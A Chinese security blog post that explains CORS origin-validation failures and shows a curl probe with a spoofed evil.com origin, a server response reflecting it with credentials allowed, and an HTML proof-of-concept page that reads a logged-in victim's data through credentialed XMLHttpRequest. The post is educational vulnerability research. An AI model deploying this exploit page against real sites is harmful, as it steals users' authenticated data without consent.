• 欢迎访问挑战自我博客网站,安全研究,web渗透,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入挑战自我博客网站 网站主页

CORS源验证失败漏洞深入利用研究

tool 挑战自我 703次浏览 已收录 0个评论

1、文章背景

CORS源验证失败漏洞很早就存在了,但是关于该漏洞自己一直没有深入研究过,总感觉这个CORS漏洞不算什么漏洞,可能和XSS差不多,但是本着对自身技术的深入研究与思考,才发现,这个漏洞其实不简单,CVSS漏洞评分大概在5~6左右,属于中危偏高的漏洞了。但是到底如何深入利用CORS漏洞呢?今天我认真思考与研究了下,写下本文和大家分享一下。

2、跨域共享的机制理解

首先,为什么要研究这个CORS漏洞?因为浏览器有一个安全核心功能—同源策略。所谓同源是指,域名,协议,端口相同。你要从这个域访问到另外一个域,浏览器打内心里是拒绝的。但是有时候开发或者正常页面需求就是要跨域,那么这个时候同源策略就显得过于严格了。为了安全地绕过这个限制,业界提出了一系列解决该问题的方法,例如更改document.domain属性、跨文档消息、JSONP以及CORS等,这些解决方案各有各的长处,因此我们需要根据需求的不同来对这些方案进行选择。

其他的自行研究,今天我们的重点是CORS。从字面理解,CORS是跨域资源共享的意思,是一种规范,不是一个漏洞名称,不同于XSS、SSRF、CSRF等。这个理解清楚了,我们再来看CORS规范可能产生什么漏洞或者说有什么值得利用的地方,如题所示,CORS规范可能的漏洞就包含了源验证失败。这个源验证失败要从理论上分析就太枯燥了,我们直接来看一个案例分析,弱点目标实际域名我过滤了,用www.test.com替代,大家周知。

首先我指定一个源(Origin)来访问一个存在CORS源验证失败漏洞的站点:

curl https://www.test.com/payapi/ -H "Origin: https://evil.com" -I

上面的curl访问之后,支持CORS协议的服务会返回如下response数据:

HTTP/1.1 200 OK
X-Frame-Options: DENY
date: Thu, 27 Dec 2018 00:17:14 GMT
content-length: 0
connection: close
access-control-allow-origin: https://evil.com
vary: Origin
access-control-allow-credentials: true
x-application-context: gateway-nodejs:8081
x-ratelimit-limit: 200
x-ratelimit-remaining: 199
x-ratelimit-reset: 60000
set-cookie: SESSION=f32944c4-8444-46fd-8621-e48e200f8949; Path=/; HttpOnly
Set-Cookie: BIGipServerPOOL_Portal_8080_200=1191461988.36895.0000; path=/

这里有一个值得注意的响应头:

Access-Control-Allow-Origin

该响应头用来记录可以访问该资源的域,在接收到服务端响应后,浏览器将会查看响应中是否包含Access-Control-Allow-Origin响应头。如果该响应头存在,那么浏览器会分析该响应头中所标示的内容。如果其包含了当前页面所在的域,那么浏览器就将知道这是一个被允许的跨域访问,从而不再根据同源策略(Same-origin Policy)来限制用户对该数据的访问。从整个访问数据的流程来看,用户所使用的跨域访问数据的脚本实际上和普通的访问同一个域中数据的脚本并没有什么不同。而不同的,仅仅是在响应中多了一个Access-Control-Allow-Origin响应头,以上就是CORS规范的一个整体运行机制。

3、CORS源验证失败漏洞深入利用

上面我介绍的一个例子就存在CORS源验证失败漏洞,但是这个漏洞要如何利用呢?不实际利用一下,理论讲再多都是无用功。
首先,准备如下html代码:

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
      //document.getElementById("demo").innerHTML = alert(xhttp.getAllResponseHeaders());
    }
  };
  xhttp.open("GET", "https://www.test.com/payapi/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
 
</body>
</html>

这个代码也很简单,就是利用XMLHttpRequest去访问存在CORS漏洞的站点,这样就可以获取当前登录用户的一些敏感信息了,把上面的代码保存为cors_test.html,放置于我博客的首页,访问如下所示:

http://www.tiaozhanziwo.com/cors_test.html

CORS源验证失败漏洞深入利用研究

如果有用户访问我博客的这个链接,并且他是处于登录状态的,那么点击Exploit按键之后,该页面就会返回一些敏感信息

CORS源验证失败漏洞深入利用研究

4、CORS漏洞研究总结

以上就是我们今天做的CORS漏洞研究,总体上自己动手测试之后会对这些个漏洞有更深的体会,今天发到这里也是记录下漏洞研究过程,学习,学习,不断的积累。


挑战自我博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明CORS源验证失败漏洞深入利用研究
喜欢 (8)
支付宝[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址